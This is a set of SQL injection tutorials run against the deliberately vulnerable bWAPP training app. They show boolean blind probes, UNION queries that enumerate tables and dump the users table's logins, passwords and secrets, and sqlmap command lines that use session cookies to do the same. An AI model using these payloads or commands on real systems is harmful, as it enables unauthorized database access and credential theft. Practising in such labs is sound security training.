Blind SQL Injection Tutorial

Blind SQL injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application response. You can find out more here, again we will be using the bWAPP application available here.

We have another search field that tells us whether a movie exists or not. For example if we enter Iron Man it will tell us the movie exists (true) on the other hand if we enter sleepers it tells us the movie does not exist (false)

The movie exists

The movie does not exist

So lets see if we can get different responses by appending some Boolean tests.

True

False

When we entered the input 1=2 we seen a different response, we knew that Iron Man was correct but obviously 1=2 is not so returns false.Lets see if we can extract some information based on the different responses.We will use the substring function to query various character positions e.g. (1,1) first character from offset 1

                                 Iron Man' and substring(version(),1,1)=1 # - returns false

1 Returns False

                                 Iron Man' and substring(version(),1,1)=4 # - returns false

4 Returns False

                                  Iron Man' and substring(version(),1,1)=5 # - returns true

5 returns True

So the first character in the first offset is 5. We can pretty much guess the next character wil be a "." but lets confirm it.

                                  Iron Man' and substring(version(),1,1)=5 # - returns true

. returns True

So we know its 5.X and so on. We can also extra things like the database length and name.

                                        Iron Man' and length(database())=5 # - returns true

Length 5 returns true

We can enumerate the database name using the following query:

                                       Iron Man' and substring(database(),1,1)='a' # false

First character a returns false

                                     Iron Man' and substring(database(),1,1)='b' # true

First character is b

                                     Iron Man' and substring(database(),2,1)='w' # true

Second character is w

                                       Iron Man' and substring(database(),3,1)='a' # true

Third character is a

                                       Iron Man' and substring(database(),4,1)='p' # true

Fourth character is p

                                      Iron Man' and substring(database(),5,1)='p' # true

Fifth character is p

The database name returned is bwapp. At this point we can start to guess table names and columns. It is quite a slow method of extraction in comparison to error based but still very dangerous!

Exploiting Error Based SQL Injection in bWAPP

Hi, for this demo we will be using the bWAPP extremely buggy application. It is available here bWAPP. Another useful resource when working with SQLi are the Pentest Monkey CheatSheets.

1. Understanding What's Going On

The first step in exploiting SQL injection is to figure out how the developer has coded the query. As you can see in the image we have a search page that allows us to search for a movie using a string e.g. Iron Man. The movie details are then displayed below that. We can guess that the query will be a select statement and will look roughly like this:

                            SELECT * FROM movieTable WHERE title LIKE '%User_Input_Here%'
                            SELECT * FROM movieTable WHERE title LIKE '%Iron%'


2. Breaking The Query And Understanding The Results

We have figured out what the developers code might look like. The developer probably assumes that we are going to put a string value in to search. But we are not ordinary users ;) our objective is to break the query and get some response from the database.

Let's assume that the developer has used single quotes to enclose the user input. What if we inject a single quote into the search field.

Ok so that has produced an error! So what exactly has happened here. If we look from the query perspective again it will be easier to understand

                            SELECT * FROM movieTable WHERE title LIKE '%Iron Man%''

The database is complaining about the extra quote so we know that that it is actually interpreting the character.

3. Fixing What We Broke

Now that we have broken it we can try and fix it. We can use comments to close off our query, in other words everything to the left of our comment will be interpreted as an SQL query. Comments for MySQL are as follows: --, #, /*, */

We can now try some true and false statements.Test is not in the results so the database will read the second part of the query.

 

 Returning all results (true)

Returning no results (false)

4. Enumeration

Before going any further we need to visualize how many columns are used by the developer in the query. Note: We aren't talking about the columns in the database but the columns being used in the query. So let's validate it, we can use a function called order by:


If we try order by 8 we get an error

If we try order by 7 there is no error

This means that the developer is using 7 columns in the query. So let's update our query

 SELECT col-1,col-2,col-3,col-4,col-5,col-6,col-7 FROM movieTable WHERE title LIKE '%User_Input_Here%;

We don't know the column names or tables yet but we are enumerating. We know that we have 7 columns so we can use a function to join queries

We cannot change this part of the query:

                 SELECT col-1,col-2,col-3,col-4,col-5,col-6,col-7 FROM movieTable WHERE title LIKE '%

But we can change this part:

                                             User_Input_Here%' our injected code #

We can combine these using the UNION statement. We can use the database() to return the db name, you will have to check which columns are dumping to the screen. It looks like the second one is doing so

test' union select 1,database(),1,1,1,1,1 #

We have successfully returned the database name bWAPP. So what else can we get? Table names possibly

test' union select 1,table_name,1,1,1,1,1 from INFORMATION_SCHEMA.TABLES where table_schema=database() #

We have returned 4 tables blog,heroes,movies and users. Next will be columns from table users.

test' union select 1,column_name,1,1,1,1,1 from INFORMATION_SCHEMA.COLUMNS where table_name='users' and table_schema=database() #

We can dump the values from some of the columns now

test' union select 1,login,password,email,secret,1,1 from users #

So we have now returned the values! We can simply returned the hashed password using a password cracking tool like John The Ripper. So that's error based one point to remember is the developer could be using double quotes, brackets or brackets and quotes in the querry so it's important to try all.

Exploiting SQL Injection with SQLmap

Hi, one tool I really like to use for exploiting SQLi is SQLmap. It is available here @ http://sqlmap.org/ and is also part of many distros such as Kali Linux and SamuraiWTF. It is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

To demonstrate this powerful tool we will use bWAPP, the deliberately insecure web application. You can find more information here http://www.mmeit.be/bwapp/. bWAPP has over 70 vulnerabilities that you can use to sharpen your skills without fear of going to jail :)

Before we begin the demo we must first try and  understand what SQL Injection is. This type of attack occurs when an application takes untrusted data that is sent to an interpreter, in this case the database as part of a query. The attackers hostile data may then trick the interpreter into executing unintended commands. If untrusted data is used to construct SQL calls then the attacker will be able to modify the query to return data.

In order to protect against this attack developers must validate and escape the hostile data before it reaches the interpreter. This can be done using prepared statements or parametrized queries. I will go into SQLi in more detail in a later post.

So we have our vulnerable bWAPP page below. We know it is vulnerable because we have injected a single quote into the input field and it has returned a SQL error. From this we can deduce that the database is interpreting characters without proper validation.

If you look at the request below you will see that title is the vulnerable parameter, so this the one we must concentrate our attack on.

http://itsecgames.com/bWAPP/sqli_1.php?title='&action=search


The next thing to do is fire up SQLmap. For this demo I am using Kali Linux but you can run it in Windows or another distro. In Kali you can open up a terminal and simply type sqlmap. There are a lot of useful options in sqlmap you can check them out here https://github.com/sqlmapproject/sqlmap/wiki/Usage

The can now try and return some information. The command below will return all of the available database. The -u switch is the URL (note with the vulnerable title parameter), the cookie and the --dbs for enumerating the databases. I used the FireFox addon Cookie Manager to retrieve the cookie information but you can also run ZaProxy or Burp Suite to capture that information.

sqlmap -u "http://itsecgames.com/bWAPP/sqli_1.php?title=" --cookie="PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0" --dbs

We can see above that it has returned 3 databases. We can also return the current database users by using the command below:

sqlmap -u "http://itsecgames.com/bWAPP/sqli_1.php?title=" --cookie="PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0" --users

Ok lets return the tables in the bWAPP database.The -D switch is for database and --tables returns the tables

sqlmap -u "http://itsecgames.com/bWAPP/sqli_1.php?title=" --cookie="PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0" -D bWAPP --tables

We can see that there are 4 tables returned, the users table looks interesting so lets go a step further and return the columns from the users table.

sqlmap -u "http://itsecgames.com/bWAPP/sqli_1.php?title=" --cookie="PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0" -D bWAPP -T users --columns

The last step for us is to dump out the data from the columns. You can select the interesting ones or dump all.

sqlmap -u "http://itsecgames.com/bWAPP/sqli_1.php?title=" --cookie="PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0" -D bWAPP -T users -C login,email,password,secret --dump

We can also work on cracking the password hashes offline. So there you have it, a really useful tool for speeding up the exploitation of SQL Injection vulnerabilities.